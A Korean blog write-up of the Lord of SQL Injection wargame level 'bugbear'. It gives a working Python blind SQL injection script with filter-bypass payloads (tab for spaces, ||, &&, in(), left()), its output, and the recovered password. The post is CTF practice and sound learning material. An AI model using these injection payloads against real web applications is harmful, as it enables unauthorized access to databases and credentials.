12번까지 열심히 올리고 한숨 자고 오니까 머리가 맑아진 기분이다. 역시 잠과 퇴근은 사랑이다. 개인적으로 몰라서 그런데 bugbear가 한국말로 뭐지? 바로 문제로 넘어가자
* 이 문제를 해결하기 위한 코드는 python으로 작성되어있습니다. *
* 작성된 blind sql injection 코드에 대한 해설은 4번 orc에 자세하게 나와있습니다. *
2021.04.13 - [정보보안-실습/SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc
코드
이번 금지된 문자열은 다음과 같다.
_,., \, ', substr, ascii, =, or, and. space(공백), like, 0x
아주 다채롭게도 막아놓았다. 정확한 pw를 구한다는 점과 먼저 hello admin이 출력된다는 점에서 blind sql injectino을 통한 공략이 가능할 거 같다.
해결방법
Answer Url : los.rubiya.kr/chall/XXXX.php?pw=52dc3991
import string
from requests import get
if __name__ == "__main__" :
url = ### BUGBEAR url ###
cookie = dict(PHPSESSID = "### 자기의 PHPSESSID ###")
length = 0
password = ""
letters = string.digits + string.ascii_letters
print("### find length of pw ###")
while(True) :
param = "?no=12351235%09||length(pw)%09in("+str(length)+")--%20;"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello admin")>=0 ):
print("find length of pw : "+str(length))
break
print(str(length)+" is wrong length")
length+=1
print("\n\n### find for pw ###")
for i in range(1,length+1) :
for a in letters :
param = "?no=1234566%09||%09id%09in(%22admin%22)%09%26%26%09left(pw,"+str(i)+")%09in(%22"+(password+a)+"%22)--%20;"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello admin")>=0) :
print("find for "+str(i)+"'s pw : "+a)
password += a
break
print("finally found pw : "+password)
치환된 항목는 다음과 같으며, 출력은 아래와 같다.
공백 >> TAB(%09)
or >> 파이프(||)
and >> &&
등호 or like >> in(in 명령어는 항목이 in()의 파라미터 있으면 참이다.)
substr >> left를 이용한(기존에 구한 password에 검사할 문자열을 더해서 반복한다.)
### find length of pw ###
0 is wrong length
1 is wrong length
2 is wrong length
3 is wrong length
4 is wrong length
5 is wrong length
6 is wrong length
7 is wrong length
find length of pw : 8
### find for pw ###
find for 1's pw : 5
find for 2's pw : 2
find for 3's pw : d
find for 4's pw : c
find for 5's pw : 3
find for 6's pw : 9
find for 7's pw : 9
find for 8's pw : 1
finally find pw : 52dc3991
BugBear를 퇴치한 걸 축하한다.
여태까지 물리친 몬스터들의 공략법을 기억했다면, in을 사용하는 것 말고는 새로운 방법이 없었던 bugbear였다. 다음 관문에서 여러분들을 기다리겠다.
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 15 - assassin (0) | 2021.04.14 |
---|---|
[LOSI] Lord of SQL Injection Level 14 - Giant (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 12 - Dark Knight (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 11 - Golem (0) | 2021.04.13 |
[LOSI] Lord of SQL Injection Level 10 - Skeleton (0) | 2021.04.13 |